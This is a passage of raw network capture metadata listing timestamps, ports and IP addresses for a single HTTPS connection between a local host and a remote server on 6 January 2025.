Jan 6, 2025 15:47:48.249320030 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.249346972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.249365091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.249401093 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.249407053 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.249425888 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.249449968 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.250188112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.250205040 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.250253916 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.250257969 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.250268936 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.250288963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.250304937 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.250309944 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.250334024 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.250349998 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.250488997 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.250504017 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.250539064 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.250543118 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.250569105 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.250582933 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.251039982 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.251070023 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.251099110 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.251116037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.251127005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.251586914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.251602888 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.251633883 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.251640081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.251672029 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.251768112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.251781940 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.251810074 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.251832008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.251837969 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.252046108 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.252062082 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.252089024 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.252094984 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.252113104 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.253686905 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.336438894 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.336462975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.336534023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.336544037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.336580038 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.336818933 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.336838007 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.336867094 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.336872101 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.336899996 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.336913109 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.337285042 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.337304115 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.337337971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.337340117 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.337348938 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.337367058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.337390900 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.337395906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.337428093 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.338021040 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.338038921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.338066101 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.338071108 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.338080883 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.338115931 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.338352919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.338370085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.338418007 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.338423967 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.338588953 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.338608027 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.338638067 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.338644981 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.338670969 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.338702917 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.338943005 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.338958025 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.339003086 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.339008093 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.341525078 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.341543913 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.423346996 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.423369884 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.423497915 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.423508883 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.423724890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.423744917 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.423777103 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.423783064 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.423815012 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.423841000 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.424035072 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.424051046 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.424082994 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.424088001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.424097061 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.424120903 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.424356937 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.424376011 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.424412012 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.424417019 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.424442053 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.424457073 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.425214052 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.425232887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.425275087 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.425282001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.425291061 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.425307989 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.425332069 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.425335884 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.425348997 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.425368071 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.425379992 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.425384998 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.425407887 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.425597906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.425612926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.425643921 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.425648928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.425668001 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.430416107 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.510148048 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.510168076 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.510206938 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.510215044 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.510248899 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.510266066 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.510355949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.510370016 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.510401964 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.510406971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.510433912 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.510457039 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.510926008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.510942936 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.510987997 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.510993958 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.511209011 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.511229992 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.511254072 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.511257887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.511286974 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.511293888 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.511554003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.511569977 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.511611938 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.511617899 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.511634111 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.511651993 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.512137890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.512154102 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.512202024 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.512207985 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.512290001 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.512490034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.512505054 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.512542009 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.512547016 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.512562990 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.512582064 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.513288021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.513303995 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.513412952 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.513417959 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.513492107 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.514836073 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.597023010 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.597047091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.597094059 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.597110033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.597173929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.597192049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.597217083 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.597222090 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.597245932 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.597270966 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.597520113 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.597533941 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.597582102 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.597588062 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.597805023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.597860098 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.597872972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.597898960 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.597923994 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.597929001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.598089933 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.598115921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.598146915 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.598151922 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.598161936 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.598191023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.598834038 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.598850965 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.598900080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.598906994 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.599344015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.599361897 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.599395990 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.599402905 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.599430084 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.599453926 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.600141048 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.600156069 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.600197077 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.600204945 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.600678921 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.602621078 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.683937073 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.683985949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.684029102 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.684039116 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.684056997 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.684076071 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.684101105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.684144974 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.684154987 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.684159994 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.684189081 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.684456110 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.684473038 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.684523106 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.684528112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.684688091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.684706926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.684734106 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.684740067 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.684762955 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.684786081 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.685019970 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.685034990 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.685084105 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.685089111 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.685688972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.685707092 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.685749054 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.685759068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.685774088 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.685801029 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.686193943 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.686209917 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.686254978 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.686259985 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.686999083 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.687022924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.687045097 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.687053919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.687077999 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.687097073 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.695367098 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.771167994 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.771188021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.771260023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.771270037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.771302938 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.771308899 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.771318913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.771332026 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.771357059 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.771363020 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.771384001 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.771399021 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.771512985 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.771526098 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.771569014 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.771575928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.771620035 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.771763086 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.771800995 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.771819115 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.771823883 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.771841049 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.771857023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.772022009 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.772037029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.772078991 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.772084951 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.772207975 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.772325039 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.772622108 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.772635937 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.772681952 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.772687912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.772718906 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.773010015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.773041010 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.773058891 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.773065090 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.773086071 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.773101091 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.773679018 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.773694992 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.773741961 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.773747921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.774266958 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.795979023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.858186007 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.858206034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.858261108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.858273029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.858366013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.858385086 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.858412981 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.858418941 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.858437061 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.858463049 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.858685970 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.858702898 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.858730078 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.858733892 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.858750105 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.858767033 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.858975887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.858989954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.859030008 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.859035969 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.859077930 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.859240055 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.859253883 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.859281063 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.859286070 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.859302998 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.859318972 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.859555960 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.859569073 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.859663010 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.859669924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.859761000 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.860073090 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.860093117 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.860120058 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.860124111 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.860147953 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.860166073 CET	49746	443	192.168.2.4	172.67.208.58
